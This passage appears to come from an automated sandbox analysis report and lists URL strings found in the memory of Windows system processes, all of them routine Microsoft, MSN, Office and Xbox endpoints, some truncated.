Source: SearchApp.exe, 0000000B.00000000.1827278453.0000024B41348000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840873224.0000024B4247F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: SearchApp.exe, 0000000B.00000000.1882247398.0000024B54FDE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schema.skype.com/Mention
Source: explorer.exe, 00000003.00000000.1714711719.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1716586529.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1715110391.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.3035088754.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: svchost.exe, 00000005.00000000.1792057093.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2991250120.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000005.00000000.1792057093.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2991250120.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: explorer.exe, 00000003.00000002.3110068499.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1717782304.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.comt
Source: SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000003.00000000.1713964202.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: SearchApp.exe, 0000000B.00000000.1824776823.0000024340CDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/news/feed?ocid=winsearch&market=en-us&query=good%20news&apikey=uvobH5fEn1uz1xwZ5
Source: explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000003.00000002.3012213853.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1712577983.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713118694.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2977124293.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000003.00000002.3084368988.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3084368988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: SearchApp.exe, 0000000B.00000000.1820370567.0000024339C3F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comC
Source: explorer.exe, 00000003.00000002.3084368988.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1715884676.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.comer
Source: svchost.exe, 00000005.00000000.1792028423.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.coms
Source: explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bn2-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000002.3014615006.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000006.00000000.1794985921.0000019E297F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-GB
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comcp
Source: SearchApp.exe, 0000000B.00000000.1878822933.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fb.me/react-polyfills
Source: svchost.exe, 00000005.00000002.2989605632.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local
Source: svchost.exe, 00000005.00000000.1792087388.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2993202471.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.local/
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/
Source: SearchApp.exe, 0000000B.00000000.1848683308.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://loki.delve.office.com/api
Source: StartMenuExperienceHost.exe, 00000009.00000000.1801563347.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2989471561.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: SearchApp.exe, 0000000B.00000000.1836526341.0000024B420F9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/owa
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/M365.Access
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/User.ReadWrite
Source: SearchApp.exe, 0000000B.00000000.1888579626.0000024B5549B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office.com/owa
Source: SearchApp.exe, 0000000B.00000000.1879521352.0000024B54E44000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/
Source: explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comxee
Source: SearchApp.exe, 0000000B.00000000.1848016538.0000024B4434A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://rafd.https://r.a
Source: SearchApp.exe, 0000000B.00000000.1848016538.0000024B4434A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://raka.rms_noco-VK
Source: SearchApp.exe, 0000000B.00000000.1878822933.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: SearchApp.exe, 0000000B.00000000.1834242505.0000024B41E30000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://searchapp.bundleassets.example/desktop/2.html
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: SearchApp.exe, 0000000B.00000000.1887670634.0000024B5542F000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1888726531.0000024B554A2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/api/v2.0/Users(
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/imageB2/v1.0/users/
Source: SearchApp.exe, 0000000B.00000000.1848683308.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office.com/search/api
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office365.us/api/v2.0/Users(
Source: SearchApp.exe, 0000000B.00000000.1825933991.0000024341100000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://substrate.office365.us/imageB2/v1.0/users/
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000003.00000002.3110068499.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1717782304.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000003.00000000.1717782304.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3110068499.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1801470015.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2985059501.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: SearchApp.exe, 0000000B.00000000.1840873224.0000024B4247F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000003.00000000.1713964202.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm
Source: SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1933132623.0000024B58760000.00000004.00000001.00040000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845864904.0000024B44184000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1884964111.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ng.com
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000003.00000000.1713964202.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3050739275.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1845305822.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1840976922.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 00000005.00000002.2994520970.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/
Source: SearchApp.exe, 0000000B.00000000.1845305822.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.comm

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
